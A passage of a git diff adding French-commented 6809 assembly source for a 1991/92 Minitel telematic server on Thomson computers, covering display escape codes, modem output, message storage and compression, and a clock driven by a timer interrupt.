+ESCC CMPA #$4C L=Locate
+ BNE ESC4D
+ LBSR PARA
+ LDU #PARA1
+ LDD ,U++
+ CMPD #$FFFF
+ BEQ LO4
+ PSHS A
+ TSTB
+ BPL LO0
+ LDB $6B00
+LO0 CMPB #25
+ BLO LO1
+ CLRB
+LO1 STB $6B00
+ ADDB #$40
+ LDA #$1F
+ STD ,Y++
+ PULS B
+ TSTB
+ BPL LO2
+ LDB $6AF9
+LO2 CMPB #40
+ BLS LO3
+ CLRB
+LO3 STB $6AF9
+ ADDB #$41
+ STB ,Y+
+LO4 LDB ,U+
+ BMI LO7
+ ANDB #1
+ STB $6AEB
+ BEQ LO5
+ LDB #$11
+ BRA LO6
+LO5 LDB #$14
+LO6 STB ,Y+
+LO7 LDB ,U+
+ BMI LO8
+ ANDB #1
+ STB $6AA5
+ LDA $6AD6
+ ANDA #1
+ BNE LO8
+ ADDB #$58
+ LDA #$1B
+ STD ,Y++
+LO8 LBRA ESCSUI
+
+ESC4D CMPA #$4D M=Mode
+ LBNE ESC4E
+ LDA ,X
+ CMPA #$52 R=Rouleau
+ BNE ESC4D1
+ LDB #$43
+ BRA ESC4D3
+ESC4D1 CMPA #$68 H=Haut
+ BNE ESC4D2
+ LDB #$46
+ BRA ESC4D3
+ESC4D2 CMPA #$42 B=Bas
+ BNE ESC4D4
+ LDB #$47
+ESC4D3 LEAX 1,X
+ LDA #$1B
+ STA ,Y+
+ LDA #$3A
+ STA ,Y+
+ LDA #$39
+ STD ,Y++
+ESC4D4 LBRA ESCSUI
+
+ESC4E CMPA #$4E N=nouvelle ligne
+ BNE ESC4F
+ LDD #$0A0D
+ STD ,Y++
+ BRA LO8
+
+ESC4F CMPA #$4F O=Oblitération=DEL
+ BNE ESC52
+ LDA #$7F
+ STA ,Y+
+ BRA LO8
+
+ESC52 CMPA #$52 R=Répétition
+ BNE ESC58
+ LBSR PARA
+ LDB PARA1
+ CMPB #63
+ BHI LO8
+ LDA #$12 rep
+ ADDB #$40
+ STD ,Y++
+ BRA LO8
+
+ESC58 CMPA #$58 X=effacement de
+ BNE ESC5E la fin de la ligne
+ LDA #$18
+ STA ,Y+
+ BRA LO8
+
+ESC5E CMPA #$5E ^ Déplacements
+ BNE ESCN
+DEA LDA ,X+
+ LBEQ FINMOD
+ CMPA #$3A :
+ BEQ DE0
+ CMPA #$5C \
+ BNE DE1
+DE0 LEAX -1,X
+ LBRA ESCSUI
+DE1 ANDA #$5F
+ CMPA #$42 B=bas
+ BNE DE2
+ LDA #10
+ BRA DEX
+DE2 CMPA #$43 C=coin sup/gauche
+ BNE DE3
+ LDA #30
+ BRA DEX
+DE3 CMPA #$44 D=droite
+ BNE DE4
+ LDA #9
+ BRA DEX
+DE4 CMPA #$47 G=gauche
+ BNE DE5
+ LDA #8
+ BRA DEX
+DE5 CMPA #$48 H=haut
+ BNE DE6
+ LDA #11
+ BRA DEX
+DE6 CMPA #$4C L=retour Ligne
+ BNE DE7
+ LDA #13
+DEX STA ,Y+
+DE7 BRA DEA
+
+ESCN LBRA ESC0
+
+FINMOD LDX #POKE+4
+ LDA $6AD6
+ CMPA #2
+ BEQ AFMINI Affichage MINITEL
+AFTOMO CLR ,Y Affichage TO+MODEM
+AFTM0 LDB ,X+
+ BEQ EXITEL
+ TST $6AD6
+ BNE AFTO
+AFTM1 LDA $E7FE
+ BITA #2
+ BEQ AFTM1
+ STB $E7FF
+ BRA AFTM0
+AFTO JSR $E803
+ BRA AFTM0
+AFMINI LBSR TEL
+EXITEL LDY #POKE
+ LDX #ZONE+22
+FINMAX LBSR COPIE
+ PULS A,B,CC,DP,X,Y,U,PC
+
+PARA PSHS Y,U Recherche des
+ LDY #PARA1 paramètres (4 max)
+ LDD #$FFFF
+ STD ,Y
+ STD 2,Y
+ CLRB
+
+PAR0 LDA ,X+
+ BEQ SORPAR
+ CMPA #$3A :
+ BEQ AUTPAR
+ CMPA #$5C \
+ BEQ AUTPAR
+ CMPA #$2C ,
+ BEQ AUTPAR
+ CMPA #$30 0
+ BLO AUTPAR
+ CMPA #$39 9
+ BHI VAR
+ SUBA #$30
+ LDB ,Y
+ BPL PAR1
+ CLRB
+ STB ,Y
+PAR1 ASLB
+ ASLB
+ ASLB
+ ADDB ,Y
+ ADDB ,Y
+ STB ,Y
+ ADDA ,Y
+ STA ,Y
+ BRA PAR0
+
+VAR CMPA #$41 A
+ BLO AUTPAR
+ CMPA #$5A Z
+ BLS VAR0
+ CMPA #$61 a
+ BLO AUTPAR
+ CMPA #$7A z
+ BHI AUTPAR
+ SUBA #$20
+VAR0 SUBA #$41
+ STA ,Y
+ ASLA
+ ASLA
+ ASLA
+ SUBA ,Y
+ LDU #$6A58
+ TFR A,B
+ CLRA
+ LEAU D,U
+ LDB ,U
+ STB ,Y
+ BRA PAR0
+
+AUTPAR CMPA #$2C
+ BNE SORPAR
+ LEAY 1,Y
+ CMPY #PARA4
+ BHI SORPAR
+ CLRB
+ BRA PAR0
+
+SORPAR LEAX -1,X
+ PULS U,Y,PC
+
+PTEL PSHS U,Y,X,DP,B,A,CC
+ LDD #$1003
+ STA $624B
+ JSR $EC0C
+ LDX #$A000
+ TFR X,Y
+ CLR ,Y+
+ CLR ,Y+
+ LDA #$61
+ TFR A,DP
+INPUT LDB #5
+ JSR $EC0C
+ LDA $6AD6
+ BNE PT1
+PT0 LDA $E7FE
+ BITA #2
+ BEQ PT0
+ LDA <$96
+ STA $E7FF
+ BRA PT2
+PT1 LDA <$96
+ STA ,Y+
+ CMPY #$DFFF
+ BHI CPTEL
+PT2 TST <$78
+ BEQ INPUT
+CPTEL LEAY -1,Y
+ LDB #6
+ JSR $EC0C
+ LDA $6AD6
+ BEQ FPTEL
+ CMPA #2
+ BEQ COMBLE
+ LDB #$FF
+ STB ,Y+
+PT3 LDB ,X+
+ BMI FPTEL
+ CMPB #19
+ BNE PT4
+ LDB #22
+PT4 JSR $E803
+ BRA PT3
+FPTEL PULS U,Y,X,DP,B,A,CC,PC
+
+TEL PSHS U,Y,X,DP,B,A,CC
+COMBLE LDD #$1B3A
+ STD ,Y++
+ LDD #$6AFE
+ STD ,Y++
+ LDD #$E7FD
+ TFR A,DP
+ STB <$C2
+ TFR X,U
+ LBSR ROUT1
+ LDX #$1000
+TEMP1 LEAX -1,X
+ BNE TEMP1
+ CLRB
+ ORCC #$50
+TOMI0 LDA #$07
+ STA ,S
+ BSR ROUT1
+ LDX #$0333
+ STX <$C6
+ LDA #$A2
+ STA <$C5
+ CLRA
+ BSR ROUT2
+TOMI1 LSRB
+ BCC TOMI2
+ BSR ROUT1
+ INCA
+ BRA TOMI3
+TOMI2 BSR ROUT2
+TOMI3 DEC ,S
+ BNE TOMI1
+ BITA #$01
+ BNE TOMI4
+ BSR ROUT2
+ BRA TOMI5
+TOMI4 BSR ROUT1
+TOMI5 LDB ,U+
+ BPL TOMI0
+ PULS CC,A,B,DP,X,Y,U,PC
+
+ROUT1 PSHS X,A
+ LDA <$C5
+ ORA #$80
+ BRA TOMI6
+ROUT2 PSHS X,A
+ LDA <$C5
+ ANDA #$7F
+ BRA TOMI6
+TOMI6 STA <$C5
+ LDX #$0061
+TEMP2 LEAX -1,X
+ BNE TEMP2
+ PULS A,X,PC
+
+CHERCH PSHS A,B,DP,CC,X,Y,U
+ LDX TAMPON
+ STX VAL+1
+ LDY #$A002
+ LDA $E7E5
+ TFR A,DP
+ LDA #$10
+CH0 STA $E7E5
+ LDU #$A000
+ LDB #$80
+CH1 LDX ,U
+VAL CMPX #$0000 VALEUR CHERCHEE
+ BNE CH2
+ LDX 2,U
+ STX POKE
+ LDX 4,U
+ STX POKE+2
+ LDX 6,U
+ STX POKE+4
+ PSHS A,B
+ PSHS U
+ EXG A,DP
+ STA $E7E5
+ EXG DP,A
+ ANDA #$0F
+ LSLB
+ LSLB
+ ROLA
+ LSLB
+ ROLA
+ LSRB
+ LSRB
+ LSRB
+ LDU #TABLE
+ LDA A,U
+ STD ,Y++
+ LDD POKE
+ STD ,Y++
+ LDD POKE+2
+ STD ,Y++
+ LDA POKE+4
+ CLRB
+ STD ,Y++
+ PULS U
+ PULS A,B
+ STA $E7E5
+CH2 LEAU 128,U
+ INCB
+ BNE CH1
+ INCA
+ CMPA #$20
+ BLO CH0
+CH3 TFR DP,A
+ STA $E7E5
+ LEAX ,Y
+ STX LIMTR1+2
+ LEAX -8,X
+ STX LIMTR0+1
+ LEAX -$A002,Y
+ TFR X,D
+ LSRA
+ RORB
+ LSRA
+ RORB
+ LSRA
+ RORB
+ STD $A000
+ CMPD #$0002
+ BLO TRI4
+ LDX VAL+1
+ BEQ TRI4
+ LDX #$A002
+TRI0 LEAY 8,X
+TRI1 LDB #4
+TRI2 LDA B,X
+ CMPA B,Y
+ BHI PERM
+ BLO TRI3
+ INCB
+ CMPB #7
+ BLO TRI2
+ BRA TRI3
+PERM LDB #6
+PERM0 LDA B,X
+ TFR A,DP
+ LDA B,Y
+ STA B,X
+ TFR DP,A
+ STA B,Y
+ DECB
+ BPL PERM0
+TRI3 LEAY 8,Y
+LIMTR1 CMPY #$0000
+ BLO TRI1
+ LEAX 8,X
+LIMTR0 CMPX #$0000
+ BLO TRI0
+TRI4 PULS A,B,DP,CC,X,Y,U,PC
+
+SAUV PSHS A,B,DP,CC,X,Y,U
+ LDA $E7E5
+ TFR A,DP
+ LDX #$FFFF
+ LDY #POKE
+ STX ,Y
+ STX 2,Y
+ LDA #$10
+EC0 STA $E7E5
+ LDU #$A000
+ LDB #$80
+EC1 LDX ,U
+ CMPX #$0000 VALEUR VIDE
+ BNE EC6
+ PSHS A,B,U
+ ANDA #$0F
+ LSLB
+ LSLB
+ ROLA
+ LSLB
+ ROLA
+ LSRB
+ LSRB
+ LSRB
+ LDU #TABLE
+ LDA A,U
+ STD 4,Y
+ SUBA $6052
+ BPL EC2
+ NEGA
+EC2 STA 6,Y
+ CMPA 2,Y
+ BHI EC5
+ BEQ EC3
+ LDA #$FF
+ STA 3,Y
+EC3 LDA 4,Y
+ SUBA #20
+ BPL EC4
+ NEGA
+EC4 STA 7,Y
+ CMPA 3,Y
+ BHS EC5
+ LDX 4,Y
+ STX ,Y
+ LDX 6,Y
+ STX 2,Y
+EC5 PULS A,B,U
+EC6 LEAU 128,U
+ INCB
+ BNE EC1
+ INCA
+ CMPA #$20
+ BLO EC0
+ TFR DP,A
+ STA $E7E5
+ CLR TAMPON
+ LDD ,Y
+ LSRB
+ BCC EC7
+ COM TAMPON
+EC7 INCB
+ STD $604B
+ BRA EC8
+
+COMPAC PSHS A,B,DP,CC,X,Y,U
+EC8 LDD $604B
+ CMPA #63
+ LBHI COMP2
+ DECB
+ CMPB #15
+ LBHI COMP2
+ LDY #POKE
+ STY $604F
+ LDA #$94
+ STA $60CD
+ LDD #$0204
+ STD $6048
+ JSR $E004
+ LBSR HORPLU
+ LDD #$2804
+ PSHS A
+ LDX #TAMPON
+ LDA ,X+
+ BEQ COMP0
+ LEAY 128,Y
+COMP0 LDA ,X+
+ STA ,Y+
+ DECB
+ BNE COMP0
+ LDD $607D
+ SUBB #90
+ CMPB #10
+ BLO DAT0
+ ADDB #100
+DAT0 LSLA
+ LSLA
+ LSLA
+ LSLA
+ LSLA
+ ROLB
+ LSLA
+ ROLB
+ LSLA
+ ROLB
+ LSLA
+ ROLB
+ STB ,Y+
+ LDA $607C
+ LDB HEURE
+ LSLB
+ LSLB
+ LSLB
+ LSLB
+ ROLA
+ LSLB
+ ROLA
+ LSLB
+ ROLA
+ STA ,Y+
+ LDA MINUT
+ LSLA
+ LSLA
+ LSLB
+ PSHS CC
+ LSLB
+ RORA
+ PULS CC
+ RORA
+ STA ,Y+
+COMP1 LDA ,X+
+ SUBA #$20
+ LDB ,X+
+ SUBB #$20
+ LSLB
+ LSLB
+ LSLB
+ ROLA
+ LSLB
+ ROLA
+ STA ,Y+
+ LSLB
+ ROLA
+ LSLB
+ ROLA
+ LSLB
+ ROLA
+ LSLB
+ ROLA
+ LDB ,X+
+ SUBB #$20
+ LSLB
+ LSLB
+ LSLB
+ ROLA
+ LSLB
+ ROLA
+ LSLB
+ ROLA
+ LSLB
+ ROLA
+ STA ,Y+
+ LSLB
+ ROLA
+ LSLB
+ ROLA
+ LDB ,X+
+ SUBB #$20
+ LSLB
+ LSLB
+ LSRA
+ RORB
+ LSRA
+ RORB
+ STB ,Y+
+ DEC ,S
+ BNE COMP1
+ PULS B
+ LDD #$0801
+ STD $6048
+ LDX #POKE
+ STX $604F
+ JSR $E004
+ LDD #$0482
+ STA $6049
+ JSR $E004
+ STB $60CD
+ BRA COMP3
+COMP2 LDA #$FF
+ STA $604E
+COMP3 BSR DIROK
+ PULS A,B,DP,CC,X,Y,U,PC
+
+DIROK LDY #$C000
+ LDD #$0820
+DIR0 STB ,Y+
+ DECA
+ BNE DIR0
+ RTS
+
+DECOMP PSHS A,B,DP,CC,X,Y,U
+ LDA $E7E5
+ TFR A,DP
+ LDA #$0F
+ STA $E7E5
+ LDD $604B
+ CMPA #63
+ LBHI DECO2
+ DECB
+ CMPB #15
+ LBHI DECO2
+ LDA #$94
+ STA $60CD
+ LDD #$0204
+ STD $6048
+ LDX #TAMPON+1
+ STX $604F
+ JSR $E004
+ TST $604E
+ LBNE DECO3
+ BSR DIROK
+ LDD #$2804
+ PSHS A
+ LDA TAMPON
+ BEQ DECO0
+ LEAX 128,X
+DECO0 LDA ,X+
+ STA ,Y+
+ DECB
+ BNE DECO0
+ LDA ,X
+ LSRA
+ LSRA
+ LSRA
+ LSRA
+ ADDA #90
+ CMPA #100
+ BLO DAT2
+ SUBA #100
+DAT2 STA ,Y+
+ LDA ,X+
+ ANDA #$0F
+ STA ,Y+
+ LDA ,X
+ LSRA
+ LSRA
+ LSRA
+ STA ,Y+
+ LDA ,X+
+ ANDA #7
+ LDB ,X
+ LSLB
+ ROLA
+ LSLB
+ ROLA
+ STA ,Y+
+ LDA ,X+
+ ANDA #$3F
+ STA ,Y+
+DECO1 LDA ,X
+ LSRA
+ RORB
+ LSRA
+ RORB
+ ADDA #$20
+ STA ,Y+
+ LDD ,X+
+ ANDA #3
+ LSLB
+ ROLA
+ LSLB
+ ROLA
+ LSLB
+ ROLA
+ LSLB
+ ROLA
+ ADDA #$20
+ STA ,Y+
+ LDD ,X++
+ ANDA #15
+ LSLB
+ ROLA
+ LSLB
+ ROLA
+ ADDA #$20
+ LSRB
+ LSRB
+ ADDB #$20
+ STD ,Y++
+ DEC ,S
+ BNE DECO1
+ TFR DP,A
+ STA $E7E5
+ PULS A
+ BRA DECO3
+DECO2 LDA #$FF
+ STA $604E
+DECO3 LDA #$82
+ STA $60CD
+ PULS A,B,DP,CC,X,Y,U,PC
+
+AFFIC5 PSHS A,B,DP,CC,X,Y,U
+ LDA #5
+ STA $E7E5
+ LDD $6AB2
+ CMPD #0053
+ LBHI FAFF5
+ LDA #2
+ MUL
+ STD $6AB2
+ LDA #2
+ LDX #$A000
+ LBSR PREPA5
+ INC $6AB3
+ LDA #2
+ LDX #$A200
+ LBSR PREPA5
+ LDX #$A000
+ LDY #$A400
+ LDD #0
+ STD ,Y++
+ STD ,Y++
+ LDD #$0C14
+ STD ,Y++
+ LDA #25
+ STA LIGNE
+NOUVLI DEC LIGNE
+ BEQ PRINT5
+ LDA #40
+ STA COLON
+OCTSUI LDA ,X+
+ CMPX #$A400
+ BHI PRINT5
+ CMPA #$0D
+ BNE ESTAFF
+ LDB ,X+
+ DEC COLON
+ BMI NOUVLI
+AFFD LDD #$0D0A
+ STD ,Y++
+ BRA NOUVLI
+ESTAFF CMPA #32
+ BLO OCTSUI
+ CMPA #128
+ BLO OCTAFF
+ CMPA #161
+ BHI OCTSUI
+ SUBA #128
+ LDB #3
+ MUL
+ LDU #TABPC
+ LEAU B,U
+ LDD ,U++
+ STD ,Y++
+ LDA ,U
+OCTAFF DEC COLON
+ BMI OCTSUI
+ STA ,Y+
+ BRA OCTSUI
+
+PRINT5 LDU #$A400
+ LDD #$1F41
+ STA -1,Y
+ STB ,Y+
+ STB ,Y+
+ LDA $6AD6
+ CMPA #1
+ LBEQ COMBLE
+ LDB #255
+ STB ,Y++
+ TSTA
+ BNE ECRAN
+ATTMOD LDA $E7FE
+ BITA #2
+ BEQ ATTMOD
+ LDA ,U+
+ BEQ ATTMOD
+ BMI FAFF5
+ STA $E7FF
+ BRA ATTMOD
+ECRAN LDB ,U+
+ BEQ ECRAN
+ BMI FAFF5
+ CMPB #$13
+ BNE ECOK
+ LDB #$16
+ECOK JSR $E803
+ BRA ECRAN
+
+FAFF5 PULS A,B,DP,CC,X,Y,U,PC
+
+PREPA5 STA $6048
+ STX $604F
+ LDX $6AB2
+ BMI PB5
+ CMPX #719
+ BHI PB5
+ LDA #2
+ STA LIGNE
+AGIR5 LDA #$D4
+ STA $E7E7
+ LDX $E000
+ CMPX #$444B
+ BEQ OK5
+ LDA #$54
+ STA $E7E7
+PB5 LDX #$FFFF
+ STX $6AB2
+ LEAS 2,S
+ PULS A,B,DP,CC,X,Y,U,PC
+OK5 LDA $6052
+ LDB $6054
+ STA $6054
+ STB $6052
+ CLR $6058
+ LDX $6AB2
+ LDA #$FF
+TEST5 INCA
+ LEAX -9,X
+ CMPX #0
+ BPL TEST5
+ LEAX 10,X
+ STX $604B
+ PSHS A
+ ANDA #1
+ STA $6049
+ PULS A
+ LSRA
+ STA $604B
+ JSR $E004
+ LDA #$54
+ STA $E7E7
+ LDA $6052
+ LDB $6054
+ STA $6054
+ STB $6052
+ CLR $6058
+ LDA $604E
+ BEQ SOROK5
+ DEC LIGNE
+ BEQ SPB5
+ LDA $6048
+ LDB $6052
+ PSHS A,B
+ CLR $6052
+ CLR $6054
+ LDD #$D420
+ STA $E7E7
+ STB $6048
+ JSR $E004
+ LDD #$5401
+ STB $6048
+ JSR $E004
+ STA $E7E7
+ PULS A,B
+ STA $6048
+ STB $6052
+ LBRA AGIR5
+SPB5 LDX #999
+ STX $6AB2
+SOROK5 RTS
+
+LIRE5 PSHS A,B,DP,CC,X,Y,U
+ LDA #2
+ LDX #$9800
+ LBSR PREPA5
+ LDD #$0804
+ STD $6048
+ LDD #$1401
+ STD $604B
+ JSR $E004
+ PULS A,B,DP,CC,X,Y,U,PC
+
+ECRI5 PSHS A,B,DP,CC,X,Y,U
+ LDA #8
+ LDX #$9800
+ LBSR PREPA5
+ PULS A,B,DP,CC,X,Y,U,PC
+
+LIGNE FCB 0
+COLON FCB 0
+
+SAVPTR FCB 0,0
+
+PARA1 FCB 0
+PARA2 FCB 0
+PARA3 FCB 0
+PARA4 FCB 0
+
+TABPC FCB $1B,$48,32,$13,$48,$75
+ FCB $13,$42,$65,$13,$43,$61
+ FCB $13,$48,$61,$13,$41,$61
+ FCB 0,32,0,$13,$4B,$63
+ FCB $13,$43,$65,$13,$48,$65
+ FCB $13,$41,$65,$13,$48,$69
+ FCB $13,$43,$69,$1B,$5D,32
+ FCB 0,32,0,0,32,0,0,32,0
+ FCB $1B,$4C,32,$1B,$4D,32
+ FCB $13,$43,$6F,$13,$48,$6F
+ FCB $13,$41,$6F,$13,$43,$75
+ FCB $13,$41,$75,0,32,0,0,32,0
+ FCB 0,32,0,$1B,$49,32,22,23,0
+ FCB 0,32,0,0,32,0,0,32,0
+ FCB $13,$42,$61,$1B,$5C,32
+
+TABLE FCB 62,63,60,61,58,59,56,57
+ FCB 54,55,52,53,50,51,48,49
+ FCB 46,47,44,45,42,43,40,41
+ FCB 38,39,36,37,34,35,32,33
+ FCB 30,31,28,29,26,27,24,25
+ FCB 22,23,19,21,17,18,15,16
+ FCB 13,14,11,12,9,10,7,8
+ FCB 5,6,3,4,1,2,20,0
+
+ZONE FCB $3B,$3A,$AA,$26,$48,$38
+ FCB $38,$30,$30,$2C,0
+
+ FCB $3A,$AB,$23,$22,0
+
+ FCB $23,$31,$2C,$22,0
+
+ FCB $22,$3B,$3A,$AB,$23,$23,0
+
+POKE RMB 300
+
+FIN FCB 0
+
+ END
diff --git a/code/3rdparty/sources3-lambinet/STI Serveur Telematique Interactif/STI2.ASM b/code/3rdparty/sources3-lambinet/STI Serveur Telematique Interactif/STI2.ASM
new file mode 100644
index 0000000..c3c79fd
--- /dev/null
+++ b/code/3rdparty/sources3-lambinet/STI Serveur Telematique Interactif/STI2.ASM
@@ -0,0 +1,1464 @@
+***************************************
+* *
+* ***** ***** * Serveur Télématique *
+* * * Interactif ver. 1.4 *
+* * * * *** * du 02/05/92 *
+* ***** * * * ** A.S.C.I. *
+* * * * *** * NANCY *
+* * * * * * 1991/1992 *
+* ***** * * *** * *** Copyright *
+* *
+***************************************
+
+
+ ORG $8800
+
+TAMPON RMB $180
+
+HEURE FCB 0
+MINUT FCB 0
+SECON FCB 0
+DIXIE FCB 0
+FLGPAL FCB 0
+
+LIRE JMP DECOMP lit et décompacte
+ * un message depuis le secteur 4,P
+ * ([$604B]),S([$604C]) pour la par-
+ * tie 0/1 selon la valeur de TAMPON
+ * le message est en clair sur les
+ * 127 premiers octets du secteur
+ * (4,20,1) sur le premier RAM-DISK.
+
+SAUVE JMP SAUV cherche une place
+ * libre sur le disque (optimisée),
+ * et l'inscrit en $604B/C et TAMPON
+ * puis saute à ECRIRE.
+
+ECRIRE JMP COMPAC compacte le texte
+ * écrit en TAMPON+1 et l'enregistre
+ * sur les disks 1 puis 4 en fonct.
+ * de $604B/$604C et TAMPON (0/1).
+
+RECHER JMP CHERCH recherche tous les
+ * messages pour le No inscrit en
+ * TAMPON et en dresse la liste à
+ * partir de $A002 sur la bank cou-
+ * rante (2octets=Piste & Sect/Part)
+ * nombre de messages en $A000
+
+PAGTEL JMP PTEL affiche un fichier
+ * .TEL dont le nom est en $624F
+
+LIT5 JMP LIRE5 lit le secteur 5'
+ * de no contenu en $6AB2/3 (N%)
+
+ECR5 JMP ECRI5 écrit (voir haut)
+
+AFF5 JMP AFFIC5 affiche une page
+ * type tel depuis le 5'1/4
+
+INIT PSHS A,B,CC,DP,X,Y,U
+ CLR $87FE
+ CLR $87FF
+ LDX $6027
+ STX ANCTI+1
+ LDX #TIMER
+ STX $6027
+ LDA $6019
+ ORA #$20
+ STA $6019
+ LDX #INTER
+ STX $67C1
+ LDA #$7E
+ STA $67C0
+ PULS A,B,CC,DP,X,Y,U,PC
+
+HORPLU PSHS A,CC
+ BRA HP
+HORLOG PSHS A,CC
+ LDA #10
+ STA DIXIE
+ INC SECON
+ LDA SECON
+ CMPA #60
+ BLO PALETT
+HP CLR SECON
+ INC MINUT
+ LDA MINUT
+ CMPA #60
+ BLO PALETT
+ CLR MINUT
+ INC HEURE
+ LDA HEURE
+ CMPA #24
+ BLO PALETT
+ CLR HEURE
+ INC $607C
+ LDA $607C
+ CMPA #32
+ BEQ MOISUI
+ CMPA #31
+ BNE FEVBIS
+ LDA $607D
+ CMPA #4
+ BEQ MOISUI
+ CMPA #6
+ BEQ MOISUI
+ CMPA #9
+ BEQ MOISUI
+ CMPA #11
+ BEQ MOISUI
+ BRA PALETT
+FEVBIS CMPA #30
+ BNE FEVNOR
+ LDA $607D
+ CMPA #2
+ BNE PALETT
+ LDA $607E
+ ANDA #3
+ BEQ MOISUI
+ BRA PALETT
+FEVNOR CMPA #29
+ BNE PALETT
+ LDA $607D
+ CMPA #2
+ BNE PALETT
+ LDA $607E
+ ANDA #3
+ BEQ PALETT
+MOISUI LDA #1
+ STA $607C
+ INC $607D
+ LDA $607D
+ CMPA #13
+ BNE PALETT
+ LDA #1
+ STA $607D
+ INC $607E
+PALETT PULS A,CC,PC
+
+TIMER PSHS A,CC
+ DEC DIXIE
+ BNE SORTIM
+ PSHS B,X,Y
+ LBSR HORLOG
+ LDX #PAL
+ LDA $6AD6
+ CMPA #1
+ BNE SORPAL
+ LDA FLGPAL
+ INCA
+ ANDA #1
+ STA FLGPAL
+ BEQ PAL0
+ LEAX 16,X
+PAL0 TST $E7E7
+ BPL PAL0
+PAL1 TST $E7E7
+ BMI PAL1
+ LDY #$200
+PAL2 LEAY -1,Y
+ BNE PAL2
+ LDY #$E7DA
+ CLR 1,Y
+ LDB #32
+PAL3 LDA ,X+
+ STA ,Y
+ DECB
+ BNE PAL3
+SORPAL PULS B,X,Y
+SORTIM PULS A,CC
+ANCTI JMP $FFFF
+
+PAL FDB $0000,$0F00,$F000,$FF00
+ FDB $000F,$0F0F,$F00F,$FF0F
+ FDB $0000,$0F00,$F000,$FF00
+ FDB $000F,$0F0F,$F00F,$FF0F
+ FDB $0000,$0000,$0000,$0000
+ FDB $0000,$0000,$0000,$0000
+
+INTER PSHS CC,X
+ CMPA #$AB =PRINT
+ BNE QUIT
+ LDX $61C7
+ LDX 1,X
+ CMPX #$2330 APPEL EMISSION
+ BEQ MODEM CANAL 0
+ CMPX #$2322 RETOUR D'EMISSION
+ BEQ PRINT
+ CMPX #$2323 EMISSION CANAL 1
+ BNE QUIT
+ LDX SAVPTR
+ STX $61C7
+QUIT PULS CC,X,PC
+
+MODEM PULS CC,X
+ PSHS A,B,CC,DP,X,Y,U
+ LDX #ZONE
+ LDY #POKE
+ BSR COPIE
+ LDX $61C7
+ LEAX 4,X
+ CLRB
+AUTRE LDA ,X+
+ BEQ M2
+ CMPA #$22
+ BNE M0
+ COMB
+M0 TSTB
+ BNE M1
+ CMPA #$3A
+ BEQ M2
+M1 STA ,Y+
+ BRA AUTRE
+M2 LEAX -3,X
+ LDA 1,X
+ CMPA #$3B
+ BNE ERROR
+ STX SAVPTR
+ LDX #ZONE+11
+ LEAY -1,Y
+ BSR COPIE
+ LDX #POKE-1
+ STX $61C7
+ LDX #TAMPON
+BLANC CLR ,X+
+ CMPX #TAMPON+300
+ BLO BLANC
+ERROR PULS A,B,CC,DP,X,Y,U,PC
+
+COPIE LDA ,X+
+ BEQ FINCOP
+ STA ,Y+
+ BRA COPIE
+FINCOP RTS
+
+PRINT PULS CC,X
+ PSHS A,B,CC,DP,X,Y,U
+ LDY #POKE-1
+ STY $61C7
+ LEAY 1,Y
+ LDX #ZONE+16
+ BSR COPIE
+ LDX #TAMPON
+ LDA $6AD6
+ CMPA #2
+ BNE MODIF
+ CLR ,Y+
+ CLR ,Y+
+MODIF LDA ,X+
+ LBEQ FINMOD
+ CMPA #$5C \ escape
+ BEQ ESCAPE
+ CMPA #$16
+ BNE CARAC
+ LDB $6AD6
+ CMPB #1
+ BEQ CARAC
+ ADDA #3
+CARAC STA ,Y+
+ BRA MODIF
+
+ESCSUI LDA ,X+
+ LBEQ FINMOD
+ CMPA #$3A
+ BEQ ESC0
+ CMPA #$5C
+ BNE ESCSUI
+ BRA MODIF
+
+ESCAPE LDA ,X+
+ LBEQ FINMOD
+ CMPA #$5C \ si \\ alors \
+ BEQ CARAC
+ BRA ESC1
+ESC0 LDA ,X+
+ LBEQ FINMOD
+ CMPA #$5C \ sortie ESCAPE
+ BEQ MODIF
+ESC1 CMPA #$41 A (ATTRB)
+ BNE ESC2
+ LBSR PARA
+ LDB $6A58
+ LDU #PARA1
+ LDA ,U+
+ BMI ATT2
+ BEQ ATT1
+ ORB #2
+ BRA ATT2
+ATT1 ANDB #1
+ATT2 TST ,U+
+ BMI ATT4
+ BEQ ATT3
+ ORB #1
+ BRA ATT4
+ATT3 ANDB #2
+ATT4 ANDB #3
+ STB $6A58
+ ADDB #$4C
+ LDA #$1B
+ STD ,Y++
+ LDB ,U+
+ BMI ATT7
+ ANDB #1
+ STB $6AAC
+ BEQ ATT5
+ LDB #$58
+ BRA ATT6
+ATT5 LDB #$5F
+ATT6 STD ,Y++
+ATT7 LDB ,U+
+ BMI ATT8
+ LBRA LIGNA
+
+ESC2 CMPA #$42 B (Beep)
+ BNE ESC3
+ LDB #7
+ STB ,Y+
+ATT8 LBRA ESCSUI
+
+ESC3 CMPA #$43 C (Couleurs)
+ BNE ESC4
+ LBSR PARA
+ LDU #PARA1
+ LDB ,U+
+ BMI CO0
+ ANDB #$7
+ STB $6A66
+ ADDB #$40
+ LDA $6AD6
+ ANDA #1
+ BEQ CO00
+ TST $6A9E
+ BEQ CO00
+ ADDB #$30
+CO00 LDA #$1B
+ STD ,Y++
+CO0 LDB ,U+
+ BMI CO1
+ ANDB #$7
+ STB $6A7B
+ ADDB #$50
+ LDA $6AD6
+ ANDA #1
+ BEQ CO10
+ TST $6A9E
+ BEQ CO10
+ ADDB #$28
+CO10 LDA #$1B
+ STD ,Y++
+CO1 LDB ,U+
+ BMI CO2
+ ANDB #1
+ STB $6A90
+ SUBB #$5D
+ NEGB
+ LDA #$1B
+ STD ,Y++
+CO2 LDB ,U+
+ BMI CO3
+ ANDB #1
+ LBRA KLI1
+CO3 LBRA ESCSUI
+
+ESC4 CMPA #$44 D=Démasquage total
+ BNE ESC5
+ LDD #$1B23
+ STD ,Y++
+ LDD #$205F
+ STD ,Y++
+ LBRA ESCSUI
+
+ESC5 CMPA #$45 E=Effacement
+ BNE ESC6
+ LDA #$0C
+ STA ,Y+
+ LBRA ESCSUI
+
+ESC6 CMPA #$46 F=Masquage total
+ BNE ESC7
+ LDD #$1B23
+ STD ,Y++
+ LDD #$2058
+ STD ,Y++
+ LBRA ESCSUI
+
+ESC7 CMPA #$47 G=Générateur de
+ BNE ESC8 caractères
+ LBSR PARA
+ LDA PARA1
+ ANDA #1
+ STA $6A82
+ BNE GEN0
+ LDA #$0F
+ BRA GEN1
+GEN0 LDA #$0E
+GEN1 STA ,Y+
+ESC7F LBRA ESCSUI
+
+ESC8 CMPA #$48
+ BNE ESC9
+ LDA #$1E
+ BRA GEN1
+
+ESC9 CMPA #$49 I=Insertion
+ BNE ESC69
+ LDA ,X
+ CMPA #$4C L=Ligne
+ BNE ESC91
+ LDD #$1B5B
+ STD ,Y++
+ LDB #$4C
